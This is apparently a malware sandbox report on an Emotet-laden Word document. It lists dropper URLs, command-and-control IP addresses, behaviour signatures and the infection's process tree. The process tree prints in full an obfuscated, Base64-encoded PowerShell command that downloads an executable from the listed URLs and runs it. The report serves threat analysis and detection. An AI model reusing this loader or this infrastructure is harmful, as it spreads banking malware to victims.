Overview

overview

10

Static

static

8

からの変更19.doc

windows7_x64

10

からの変更19.doc

windows10_x64

10

Analysis

  • max time kernel
    73s
  • max time network
    111s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    19/09/2020, 06:05

Sharing

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General

  • Target
    からの変更19.doc
  • Size 190KB
  • Sample200919-c445yy15aj
  • SHA256 391cd9bd45449d75d87e8d3b434aeed7fc41ee587f7b36345418f388f2acb390
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://geisterhouse.com/cgi-bin/LAb1/
  • exe.dropper

    http://amyemitchell.com/themes/w/
  • exe.dropper

    http://forestanalytics.net/images/57A7/
  • exe.dropper

    https://konican.com/cgi-bin/cWu/
  • exe.dropper

    http://strike3productions.com/squad/3aV6xrH/
  • exe.dropper

    http://riandutra.com/img/wOMENgh/
  • exe.dropper

    http://justinscott.com.au/sites/rRS/

Extracted

Family

  • emotet

C2

  • 71.72.196.159:80

  • 134.209.36.254:8080

  • 120.138.30.150:8080

  • 94.23.216.33:80

  • 157.245.99.39:8080

  • 137.59.187.107:8080

  • 94.23.237.171:443

  • 61.19.246.238:443

  • 156.155.166.221:80

  • 50.35.17.13:80

  • 153.137.36.142:80

  • 91.211.88.52:7080

  • 209.141.54.221:8080

  • 185.94.252.104:443

  • 174.45.13.118:80

  • 87.106.136.232:8080

  • 62.75.141.82:80

  • 213.196.135.145:80

  • 188.219.31.12:80

  • 82.80.155.43:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更19.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:604
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABMAGwAZABsAGsANQB0AD0AKAAoACcAVAAnACsAJwBoAG0AZwAyACcAKQArACcAaQB3ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBwAHIAbwBGAEkAbABFAFwARQBwADEAcwA4AFUAVgBcAGMAZABjADgAYgA2AFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBgAGkAYABUAGAAWQBQAHIATwBUAE8AYABDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQApADsAJABMAGkAOAAzAHAAbQBoACAAPQAgACgAKAAnAE0ANQAnACsAJwBrAG0ANAAxACcAKQArACcANwA2ACcAKQA7ACQAUwA0AHgAdQBfAHEAdwA9ACgAKAAnAEMAbQBkAGkANwAnACsAJwA5ACcAKQArACcAbQAnACkAOwAkAEsANgBkADcAMgB3ADgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwB6ACcAKwAnADEAJwArACcAeQBFAHAAMQBzACcAKwAnADgAdQB2AHoAJwApACsAJwAxAHkAJwArACgAJwBDAGQAYwAnACsAJwA4AGIAJwApACsAKAAnADYAdQB6ACcAKwAnADEAeQAnACkAKQAuACIAcgBFAHAAYABsAGEAYwBlACIAKAAoAFsAYwBoAGEAcgBdADEAMgAyACsAWwBjAGgAYQByAF0ANAA5ACsAWwBjAGgAYQByAF0AMQAyADEAKQAsACcAXAAnACkAKQArACQATABpADgAMwBwAG0AaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEIAMwB6AGgAcAB5ADYAPQAoACgAJwBLAHAAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBpAGEAMQAnACkAKQA7ACQASQB4AGMAcwBnAG8AMQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AEUAYgBDAEwASQBFAG4AVAA7ACQASAB4AHoANABvAHgAYQA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAZQBpAHMAdAAnACsAJwBlACcAKQArACgAJwByACcAKwAnAGgAbwAnACkAKwAnAHUAcwAnACsAKAAnAGUALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnAGkAJwArACcALQBiAGkAJwArACcAbgAnACsAJwAvAEwAJwApACsAKAAnAEEAYgAnACsAJwAxACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYQBtACcAKQArACgAJwB5ACcAKwAnAGUAbQBpAHQAJwApACsAKAAnAGMAaAAnACsAJwBlAGwAJwApACsAJwBsACcAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AJwArACgAJwAvAHQAJwArACcAaAAnACkAKwAnAGUAJwArACgAJwBtAGUAJwArACcAcwAnACkAKwAnAC8AdwAnACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACcAZgAnACsAJwBvACcAKwAoACcAcgAnACsAJwBlAHMAdAAnACkAKwAnAGEAbgAnACsAJwBhACcAKwAoACcAbAB5AHQAJwArACcAaQBjAHMALgAnACsAJwBuAGUAJwApACsAKAAnAHQALwAnACsAJwBpAG0AYQAnACkAKwAoACcAZwBlAHMALwA1ADcAJwArACcAQQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AawAnACsAJwBvAG4AaQAnACsAJwBjACcAKwAnAGEAJwArACcAbgAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAGMAZwBpAC0AJwApACsAKAAnAGIAaQAnACsAJwBuAC8AYwAnACkAKwAoACcAVwAnACsAJwB1AC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwBzAHQAJwArACcAcgAnACkAKwAoACcAaQBrAGUAMwAnACsAJwBwACcAKQArACgAJwByAG8AJwArACcAZAB1ACcAKQArACcAYwAnACsAKAAnAHQAJwArACcAaQBvAG4AcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAHMAcQAnACsAJwB1AGEAZAAvACcAKQArACgAJwAzAGEAJwArACcAVgAnACkAKwAnADYAJwArACgAJwB4AHIAJwArACcASAAvACcAKQArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcgBpAGEAJwApACsAJwBuAGQAJwArACgAJwB1AHQAJwArACcAcgAnACkAKwAoACcAYQAuACcAKwAnAGMAbwBtAC8AaQAnACkAKwAnAG0AJwArACgAJwBnAC8AdwAnACsAJwBPACcAKQArACgAJwBNAEUAJwArACcATgBnACcAKQArACgAJwBoAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACgAJwA6AC8ALwBqAHUAcwB0ACcAKwAnAGkAbgAnACkAKwAnAHMAYwAnACsAKAAnAG8AdAB0ACcAKwAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC4AJwArACcAYQB1ACcAKQArACcALwAnACsAKAAnAHMAaQB0AGUAcwAnACsAJwAvACcAKQArACgAJwByAFIAJwArACcAUwAvACoAJwApACkALgAiAFMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBiAHYAYgA3AGUAMgA9ACgAJwBTAHMAJwArACgAJwB4ACcAKwAnADgAcwAnACkAKwAnAG8AdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABaAHoAYwBxADIAcwBoACAAaQBuACAAJABIAHgAegA0AG8AeABhACkAewB0AHIAeQB7ACQASQB4AGMAcwBnAG8AMQAuACIARABgAE8AVwBgAE4AbABPAEEAZABmAGAAaQBsAEUAIgAoACQAWgB6AGMAcQAyAHMAaAAsACAAJABLADYAZAA3ADIAdwA4ACkAOwAkAFkAcQAyADAAZwB4ADcAPQAoACgAJwBZACcAKwAnAGUAZQAnACkAKwAnAHUAJwArACgAJwBpAGMAJwArACcAcAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLADYAZAA3ADIAdwA4ACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADEANQAxADQAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASwA2AGQANwAyAHcAOAApADsAJABSAF8ANQBuAGsAYQA4AD0AKAAoACcAWQByACcAKwAnADgAYQAwACcAKQArACcAYQBhACcAKQA7AGIAcgBlAGEAawA7ACQASQB3ADMAawAyAGoAdwA9ACgAKAAnAE4AYwAyAGEAJwArACcAZwAnACkAKwAnAHQAJwArACcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AagA1AHAAMwB0AHkAPQAoACgAJwBWACcAKwAnADkAaQBmACcAKQArACgAJwAwAGIAJwArACcAYQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe
      "C:\Users\Admin\Ep1s8uv\Cdc8b6u\M5km4176.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1148
      • C:\Windows\SysWOW64\mfc40u\kbd101a.exe
        "C:\Windows\SysWOW64\mfc40u\kbd101a.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1748

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/604-5-0x0000000006F30000-0x0000000007130000-memory.dmp
        Download

        memory/604-2-0x0000000008930000-0x0000000008934000-memory.dmp
        Download

        memory/1148-16-0x0000000000250000-0x0000000000260000-memory.dmp
        Download

        memory/1148-15-0x0000000000230000-0x0000000000242000-memory.dmp
        Download

        memory/1460-22-0x000007FEF7860000-0x000007FEF7ADA000-memory.dmp
        Download

        memory/1628-8-0x000000001AD80000-0x000000001AD81000-memory.dmp
        Download

        memory/1628-12-0x000000001B730000-0x000000001B731000-memory.dmp
        Download

        memory/1628-11-0x000000001ABD0000-0x000000001ABD1000-memory.dmp
        Download

        memory/1628-10-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/1628-9-0x0000000002830000-0x0000000002831000-memory.dmp
        Download

        memory/1628-7-0x0000000001F20000-0x0000000001F21000-memory.dmp
        Download

        memory/1628-6-0x000007FEE99F0000-0x000007FEEA3DC000-memory.dmp
        Download